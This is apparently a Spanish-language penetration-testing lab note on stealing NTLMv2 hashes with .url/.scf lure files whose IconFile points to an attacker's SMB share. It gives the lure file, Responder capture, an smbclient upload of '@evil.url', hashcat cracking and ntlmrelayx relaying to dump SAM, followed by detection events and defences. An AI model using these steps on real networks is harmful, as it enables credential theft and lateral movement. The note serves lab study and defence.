NTLMv2 coercion with SCF/URL (IconFile UNC)
Un fichero .scf (Shell Command File) o .url (Internet Shortcut) puede referenciar un icono en una ruta UNC (\\atacante\...) mediante el campo IconFile=. Cuando Windows indexa el directorio que contiene el fichero (por Explorer, thumbnails o motor de búsqueda), resuelve el UNC automáticamente para renderizar el icono y en el proceso autentica al usuario contra la SMB del atacante. Ese intento de autenticación filtra el hash NTLMv2 del usuario víctima al atacante. La víctima no ejecuta nada: solo abre la carpeta que contiene el fichero.
Plantar el señuelo y capturar
Se levanta un capturador SMB (Responder o impacket-ntlmrelayx) y se deja el fichero en una share escribible:
[InternetShortcut]
URL=x
WorkingDirectory=Flibertygibbit
IconFile=\\<lhost>\%USERNAME%.icon
IconIndex=1sudo responder -I tun0 -wv # captura el NTLMv2
smbclient //<ip>/<share> -c 'put @evil.url' # el @ lo pone arriba del listadoCon el hash capturado (victima::DOMINIO:...) hay dos caminos. Crackearlo offline:
hashcat -m 5600 hash.ntlmv2 /usr/share/wordlists/rockyou.txto, si el crack no cae, retransmitirlo (relay) a otro servicio que no exija firma SMB, autenticándose como la víctima sin conocer su contraseña:
impacket-ntlmrelayx -t smb://<otro_host> -smb2support # ejecuta/vuelca SAM en el destinoVariantes del fichero señuelo
Los .scf funcionaban en Explorer hasta que Microsoft limitó su renderizado remoto; los .url con IconFile= UNC siguen siendo efectivos. También sirven .lnk (con icono UNC), .library-ms, ficheros desktop.ini en una carpeta escribible, o metadatos EXIF/documentos Office con \\... embebido. La idea es siempre la misma: que Windows resuelva una ruta UNC controlada por el atacante al mostrar la carpeta.
Requisitos
Una share (o carpeta indexada por la víctima) donde podamos escribir, y que el atacante sea alcanzable por SMB (445/tcp) desde la víctima (interno o proxeado). El éxito depende de que alguien navegue esa carpeta y de que el hash sea crackeable o el destino del relay no firme SMB.
Cómo detectarlo. Hay dos momentos observables. La plantación del fichero deja un Event ID 5145 (se comprobó el acceso a un recurso compartido de red) con acceso de escritura de un .url/.scf/.lnk en una share de usuarios, y un Sysmon 11 (FileCreate) de esa extensión. La coacción en sí es tráfico SMB saliente del host víctima hacia una IP que no es un servidor de ficheros conocido: un sensor de red que vea NTLM (SMB) hacia fuera del rango corporativo, o un honeypot/canary SMB que registre cualquier autenticación entrante, la delata al instante. El propio Responder no genera logs en la víctima, así que la detección vive en la red y en la aparición del fichero señuelo. Ficheros con IconFile=\\IP\... apuntando fuera son indicador directo.
Defensa. SMB signing obligatorio (frena el relay), bloquear salida SMB fuera de la red corporativa, restringir NTLM saliente por GPO. En shares de usuarios: no permitir escritura anónima ni de bajo privilegio. Es la puerta a Pass-the-Hash (tras crackear) o al relay NTLM contra otro host.
Máquinas donde se aplica
- VaultProving Grounds Practice